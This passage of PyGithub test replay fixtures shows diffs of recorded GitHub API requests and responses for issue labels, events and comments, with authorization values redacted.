charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","changes":45,"additions":45,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt"},{"patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","changes":35,"additions":35,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt"},{"patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","changes":5,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt"},{"patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/PyGithub/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/PyGithub/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/PyGithub/PyGithub\",\"clone_url\":\"https://github.com/PyGithub/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/PyGithub/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"clone_url\":\"https://github.com/PyGithub/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/PyGithub/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/PyGithub/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/PyGithub/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/PyGithub/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/PyGithub/PyGithub/issues/events/16348656 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/PyGithub/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/PyGithub/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n ","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","filename":"test/ReplayData/IssueEvent.setUp.txt"}] diff --git a/tests/ReplayData/PullRequest.testGetIssueComment.txt b/tests/ReplayData/PullRequest.testGetIssueComment.txt index 8855499d8d..c02c9edc27 100644 --- a/tests/ReplayData/PullRequest.testGetIssueComment.txt +++ b/tests/ReplayData/PullRequest.testGetIssueComment.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/comments/8387331 +/repos/PyGithub/PyGithub/issues/comments/8387331 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '517'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4960'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5494519596414fbfe208a0b6d193e8f9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 13:03:46 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8387331","id":8387331} - +{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331} diff --git a/tests/ReplayData/PullRequest.testGetIssueComments.txt b/tests/ReplayData/PullRequest.testGetIssueComments.txt index 8d7e393d2e..fb831558bc 100644 --- a/tests/ReplayData/PullRequest.testGetIssueComments.txt +++ b/tests/ReplayData/PullRequest.testGetIssueComments.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/comments +/repos/PyGithub/PyGithub/issues/31/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '519'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('connection', 'keep-alive'), ('etag', '"5494519596414fbfe208a0b6d193e8f9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 12:59:56 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8387331","id":8387331}] - +[{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331}] diff --git a/tests/ReplayData/PullRequest.testGetIssueEvents.txt b/tests/ReplayData/PullRequest.testGetIssueEvents.txt index a55f78629d..cc08a110f1 100644 --- a/tests/ReplayData/PullRequest.testGetIssueEvents.txt +++ b/tests/ReplayData/PullRequest.testGetIssueEvents.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/events +/repos/PyGithub/PyGithub/issues/31/events {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 29 Jun 2019 00:12:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1561767884'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e8868b673676b7b3ed46856d038bf5d1"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.sailor-v-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1F21:3EEE:1B22EE9:20CFD3C:5D16ACDE')] -[{"id":16349963,"node_id":"MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ5OTYz","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16349963","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"subscribed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T09:25:36Z"},{"id":16350729,"node_id":"MDE1OlJlZmVyZW5jZWRFdmVudDE2MzUwNzI5","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16350729","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"referenced","commit_id":"688208b1a5a074871d0e9376119556897439697d","commit_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350730,"node_id":"MDExOk1lcmdlZEV2ZW50MTYzNTA3MzA=","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16350730","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"merged","commit_id":"688208b1a5a074871d0e937611955689743969